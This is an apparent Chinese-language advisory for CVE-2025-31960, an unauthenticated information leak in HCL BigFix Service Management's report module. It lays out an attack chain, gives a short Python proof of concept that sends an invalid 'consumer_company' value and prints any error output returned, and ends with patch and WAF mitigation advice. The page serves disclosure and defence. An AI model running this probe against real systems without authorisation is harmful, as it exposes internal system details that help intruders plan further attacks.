CVE-2025-31960 CVSS 5.3 中危

CVE-2025-31960 HCL BigFix SM信息泄露漏洞

披露日期: 2026-05-06

来源: [email protected]

漏洞信息

漏洞编号

CVE-2025-31960

漏洞类型

信息泄露

CVSS评分

5.3 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

HCL BigFix Service Management

漏洞概述

HCL BigFix Service Management (SM) 的报告模块中存在因错误处理不当导致的信息泄露漏洞。攻击者可以通过在查看报告的请求中向 `consumer_company` 参数提供无效或超出范围的值，触发应用程序未处理的异常。该漏洞允许未经身份验证的远程攻击者利用网络接口，无需用户交互即可获取敏感的系统信息。

技术细节

该漏洞根因在于 HCL BigFix Service Management 报告模块对特定输入参数的校验逻辑存在缺陷。具体而言，当系统处理报表查看请求时，未对 `consumer_company` 参数实施严格的数据类型及范围验证。攻击者可利用此缺陷，向该参数提交精心构造的无效值或越界数据。由于应用程序缺乏完善的异常捕获与处理机制，此类异常输入将导致后端服务触发未处理的异常。在异常抛出的过程中，系统可能会将详细的错误堆栈信息、内部路径或部分调试数据直接返回给攻击者。这种信息泄露不仅暴露了系统内部结构，还可能辅助攻击者规划后续的攻击路径。鉴于 CVSS 向量显示无需认证即可利用，该风险具有显著的潜在影响，攻击者只需发送特制的 HTTP 请求即可成功利用。

攻击链分析

STEP 1

侦察

攻击者识别互联网上暴露的 HCL BigFix Service Management 实例。

STEP 2

武器化

构造包含无效 `consumer_company` 参数的 HTTP 请求。

STEP 3

交付

向目标服务器的报告模块接口发送特制的恶意请求。

STEP 4

利用

目标服务器未能处理异常参数，触发未处理的异常并返回详细错误信息。

STEP 5

信息收集

攻击者分析返回的错误堆栈或调试信息，获取系统内部结构情报。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target URL (replace with actual endpoint)
target_url = "http://target.example.com/reports/view"

# Malicious payload: Invalid value for consumer_company
params = {
    "consumer_company": "invalid_payload_test",
    "report_id": "1"
}

try:
    # Send request without authentication
    response = requests.get(target_url, params=params, timeout=10)

    # Check if response contains error details indicating information leakage
    if response.status_code == 500 or "exception" in response.text.lower():
        print("[+] Potential information leakage detected:")
        print(response.text[:500]) # Print snippet of the response
    else:
        print("[-] Exploit attempt did not trigger visible error leakage.")
except Exception as e:
    print(f"Request failed: {e}")

影响范围

HCL BigFix Service Management (具体受影响版本请参考厂商公告 KB0128144)

防御指南

临时缓解措施

建议立即访问 HCL 官方支持网站并应用 KB0128144 提供的修复补丁。在未修复前，应严格限制对报表模块的外部网络访问，并在反向代理或 WAF 层面拦截包含异常字符的 `consumer_company` 参数请求。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表